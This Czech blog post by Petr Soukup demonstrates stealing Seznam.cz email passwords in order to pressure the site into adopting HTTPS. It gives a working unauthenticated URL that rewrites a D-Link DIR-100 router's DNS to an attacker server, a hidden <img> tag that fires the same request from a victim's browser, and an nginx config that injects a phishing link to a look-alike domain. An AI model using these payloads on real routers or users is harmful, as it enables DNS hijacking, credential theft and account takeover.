Jak lze zjistit heslo k cizímu emailu na Seznam.cz

Posted 11. 10. 2015 / By Petr Soukup / Internet

Seznam.cz v posledních tiskových zprávách (nepřímo) uvedl, že bezpečnost jeho uživatelů pro něj není prioritou a raději se soustředí na vývoj svých aplikací na věštění. Chtěl bych s tím něco udělat a osvědčilo se názorně předvést jednoduchost zneužití, takže si ukážeme, jak lze hravě ukrást účet na Seznam.cz.

V únoru jsem tu předváděl, jak snadno lze zneužít platební kartu na Alza.cz - následně měli zabezpečení vyřešené za týden a s nimi i další eshopy - snad to nyní půjde podobně. V případě Alzy šlo o primitivní pasivní poslouchání komunikace. Tentokrát bude postup trochu složitější, ale o to nebezpečnější. Nebudu se spoléhat na nezabezpečené wifi, ale aktivně útočit na routery u vás doma.

Disclaimer: Budu názorně předvádět krok za krokem, jak ukrást cizí účet. V žádném případě to ale neznamená, že byste postup měli opakovat, protože by to byl trestný čin – to že někdo nechá otevřené hlavní dveře od domu ještě neznamená, že si z něj můžete odnést televizi. V tomto postupu dělám simulaci na svém vlastním routeru, takže nikdo nepřišel k újmě.

Stejně jako minule platí, že nejde o nějakou geniálně objevenou bezpečnostní díru v Seznam.cz. Každý kdo se jen trochu pohybuje v IT ví, že to jde velmi snadno provést - nedostatky nešifrované komunikace HTTP jsou známé od jeho vzniku (~20 let) a díry v routerech se ve velkém zveřejňují minimálně 5 let. Ale přestože je to tak jednoduché a známé, tak si s tím evidentně nikdo neláme hlavu.

Stejný postup pak jde aplikovat na jakýkoliv web, který nemá před adresou zelený zámeček.

Děravé routery

Router je ta "krabička na internet", co jí chodíte vypnout a zapnout, když internet zlobí. Pokud ji máte doma třeba 2-3 roky, tak je vysoká pravděpodobnost, že obsahuje zveřejněnou bezpečnostní díru. Především domácí routery mají zabezpečení velmi špatně řešeno a výrobci sice vydávají opravy, ale ruku na srdce - kdy jste naposledy aktualizovali firmware routeru?

Zranitelnost vašeho routeru snadno najdete na Google a nebo si naopak můžete nějaký router vybrat v databázi zranitelností. Já si pro tento článek vybral D-link DIR-100, protože mi leží ve skříni a bezpečnostní díra pro něj je až vtipně jednoduchá. Býval hodně levný a typicky se používal v kombinaci s ADSL modemem.

Prakticky stejný postup jde použít i na veřejné wifi posloucháním a manipulací bezdrátové komunikace. Případně se můžete přihlásit na veřejnou wifi, zjistit si jaký router používá, najít si ho v databázi zranitelností a dál už je postup stejný.

dir-100

Hledání obětí

Nejprve si musíme najít nějaké oběti. Víme, že hledáme lidi s ADSL připojením, takže si zmenšíme okruh a budeme skenovat síť O2 - hledáme IP adresu, která má otevřený port 80 (tzn. web). O2 má u většiny modemů veřejné IP adresy (za příplatek vám může zůstávat stejná adresa, jinak se po restartu modemu mění), což nám průzkum dost usnadňuje. Otevřený port pro web hledáme, protože v případě domácích adres je velká šance, že když už bude dostupný, tak na něm nejspíš bude přímo administrace routeru.

Poznámka: V příkladech používám lokální adresy místo skutečných veřejných adres, abych na nějakého náhodného zákazníka O2 nepoštval útok. Původně jsem také pro příklad používal jiný router, ale bylo u něj příliš snadné vygooglit, který "vesnický" poskytovatel dává tyto routery zdarma a skenovat pak jeho IP rozsah. Úspěšnost hledání oběti pak byla moc vysoká, takže jsem to raději změnil na O2, kde už nalezení oběti splňující kritéria vyžaduje výrazně víc úsilí a štěstí.

Víme, že hledáme router v určitém IP rozsahu a otevřený port 80. Prohledání lze provést jednoduchým příkazem nmap:

nmap

Nalezené adresy je pak potřeba zkontrolovat, jestli skutečně obsahují administraci routeru a jestli to je správný model routeru. Lze to provést i automaticky přes nmap doplněním skriptu - konkrétně pro D-link (různé modely) dokonce existuje do nmap už hotový oficiální skript. Protože ale neútočíme na konkrétního člověka, ale chceme provést plošný útok, tak ho můžeme provést na všechny adresy - někde bude úspěšný, někde ne.

Útok na router

Zabezpečení routeru DIR-100 v podstatě neexistuje a útok je tak až vtipně jednoduchý. Naším cílem je změnit DNS servery routeru a to lze provést prostým zavoláním url:

http://x.x.x.x/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=11.11.11.11&dnsSecondary=11.11.11.11

Zavoláním této adresy změním DNS servery routeru na adresu, kterou mám pod kontrolou já. To znamená, že když kdokoliv připojený k routeru zadá do prohlížeče třeba www.seznam.cz, tak požadavek dorazí na server 11.11.11.11 a zeptá se ho, na jaké IP adrese má hledat Seznam. Můj zlý DNS server pak může buď odpovědět správně a nebo vrátit zase IP adresu, kterou mám pod kontrolou.

Tento útok lze také případně provést obráceně. Místo skenování adres můžu na nějaký web umístit obrázek se závadnou adresou. Tentokrát ale bude adresa vždy stejná a IP bude vždy lokální. Nevýhodou je, že potřebujeme navštěvovaný web nebo oběti poslat email s obrázkem. Výhodou je, že postup bude fungovat i v případě, kdy má oběť u routeru zakázaný přístup zvenčí - v tomto případě se totiž adrese zavolá z jeho počítače - tzn z vnitřní sítě.

<img 
  src="http://192.168.0.1/Forms/dns_1?Enable_DNSFollowing=1&amp;dnsPrimary=11.11.11.11&amp;dnsSecondary=11.11.11.11" 
  style="position:absolute;left:-9999px"
>

Podstrkávání DNS záznamů

Na našem zloserveru s adresou 11.11.11.11 spustíme aplikaci dnschef, která funguje velmi jednoduše - poslouchá DNS dotazy a vrací na ně odpovědi. Na většinu vrátí to samé, jako by dotaz přišel na normální DNS server, ale pro vybrané domény můžeme nastavit jinou odpověď.

dnschef

Z výpisu můžete vidět, jak poslušně vrací odpovědi, ale pouze pro search.seznam.cz vrátí adresu zloserveru. Když tak oběť něco hledá na Seznamu, požadavky končí na serveru, kde si s nimi můžeme dělat co chceme.

Manipulace obsahu

Seznam.cz v hledání nepoužívá https, takže si můžeme se stránkou dělat co chceme. Na zloserveru proto spustíme nginx, který bude požadavky přeposílat na skutečný search.seznam.cz, ale odpovědi bude vylepšovat. Nginx není úplně typický nástroj pro tento úkol, ale narozdíl od jiných nástrojů vím zpaměti, jak to v něm provést :)

Díky absenci https můžeme dělat v podstatě cokoliv. Nejen že vidíme co oběť hledá, ale na výsledné stránce můžeme třeba přidat reklamní banner nebo vyměnit reklamy Sklik za náš vlastní AdSense. Naše změna bude ale jen drobná.

server {
  server_name search.seznam.cz;
  listen 80;

  location / {
      sub_filter '<ul id="login">'  '<ul id="login"><a href="https://loginszn.cz"><b>Nepřečtené emaily: 3</b></a>';
      sub_filter_once on;
      proxy_pass http://search.seznam.cz;
  }
}

Konfigurace je úplně jednoduchá - pro doménu search.seznam.cz přeposíláme požadavky na skutečný search.seznam.cz a do odpovědi přidáme navíc odkaz na přihlášení. Ironií je, že v původním HTML je id="login", přestože tam původně žádný login není a doplňujeme ho tam až my.

Výsledek v prohlížeči oběti vypadá takhle:

2015-10-11 16_16_09

Doplnili jsme vpravo nahoře informaci o nepřečtených emailech - že tam vypadá hezky oficiálně? Normální přihlašovací odkaz by vedl na pochybnou doménu https://login.szn.cz, ale náš může použít několik různých přístupů:

  • zobrazit dialogové okno s přihlášením přímo na stránce s hledáním
  • odkaz na stránku login.seznam.cz, kde bude kopie oficiálního přihlašovacího formuláře - paradoxně by taková stránka působila důvěryhodněji než oficiální login.szn.cz
  • odkaz na http://prihlaseni.szn.cz - zde by fungovalo automatické doplnění hesla prohlížečem
  • odkaz na https://loginszn.cz - moje doména, s obsahem oficiálního přihlášení. Bude tam zelený zámeček, ale adresa se bude lišit v tečce.
Nejvíc se mi líbí poslední varianta, protože v prohlížeči bude svítit zelený zámeček a jediný rozdíl oproti původnímu přihlášení bude tečka v adrese. Jelikož oběť přichází ze stránky Seznamu a ne nějakého pochybného emailu, tak si toho nejspíš nikdo ani nevšimne. loginszn Postřehli byste rozdíl? Pokud byste navíc chtěli porovnat certifikáty, tak si moc nepomůžete. Opět se liší jen doménou - Seznam totiž používá nejobyčejnější certifikát, který neobsahuje ani firemní údaje. Ověřuje pouze doménu, což v případě použití nestandardní domény není úplně dostatečné. Samotné zachycení hesla už je pak jednoduché. Stránky jsou zcela stejné, jen ta podvodná navíc obsahuje javascript, který zadané heslo pošle na zloserver a následně odešle formulář na oficiální adresu. Oběť se tak bez dostane do svého emailu a ani si nevšimne, že se stalo něco podezřelého.

Úroveň nebezpečí

A to je celé. Poměrně jednoduše jsme si vyrobili nástroj na hromadné získávání hesel k emailu Seznamu. To ale není všechno - s přístupem k emailu se můžete dostat i k dalším službám. Stačí na webu (třeba na Facebooku) použít funkci "zapomenuté heslo" a v emailu jen změnu potvrdit. Také tím máte přístup například k Seznam Peněžence nebo Skliku. V principu je postup podobný phishing emailům, ale je tu zásadní rozdíl. Pokud vám přijde email a chce heslo, tak hned zpozorníte. Stejně tak na veřejné wifi možná budete ostražitější. V tomhle případě ale sedíte hezky doma u svého počítače a klikáte odkaz na Seznamu. Není proto důvod nějak výrazně přihlášení zkoumat a snadno přehlédnete drobný rozdíl nebo ho prostě budete považovat za součást změny grafiky. Možná vás napadlo, že pokud máte v počítači nastavené napevno jako DNS servery Google (8.8.8.8), tak se vás to netýká. Konkrétně tento útok skutečně ne, ale nasměrovat si provoz z routeru určený pro 8.8.8.8 na zloserver není o tolik složitější. Zdůrazňuji, že tenhle problém se netýká jen Seznamu, ale všech webů bez https. Například Centrum.cz se s šifrováním neobtěžuje vůbec, takže jen postup poloviční a uživatel nemá šanci poznat rozdíl. Stejně tak podobný postup jde použít zase pro kradení platebních karet v eshopech, ale o tom zase jindy.

Jak se bránit?

Řešení musí přijít ze strany webu - v tomto případě Seznam.cz. Uživatel může snížit riziko například tím, že pravidelně aktualizuje firmware routeru nebo používá VPN. Vždycky je to ale buď částečné řešení nebo jsou s ním spojeny nějaké kompromisy. Obecně lze varování shrnout do jedné věty: Pokud jste na webu a nemá HTTPS, tak si představujte, že vám stojím za zády já a jsme na webu spolu :)  

Související články:



O blogu
Blog o provozování eshopů a technologickém zázemí.
Aktuálně řeším hlavně cloud, bezpečnost a optimalizaci rychlosti.

Rozjíždím službu pro propojení eshopů s dodavateli.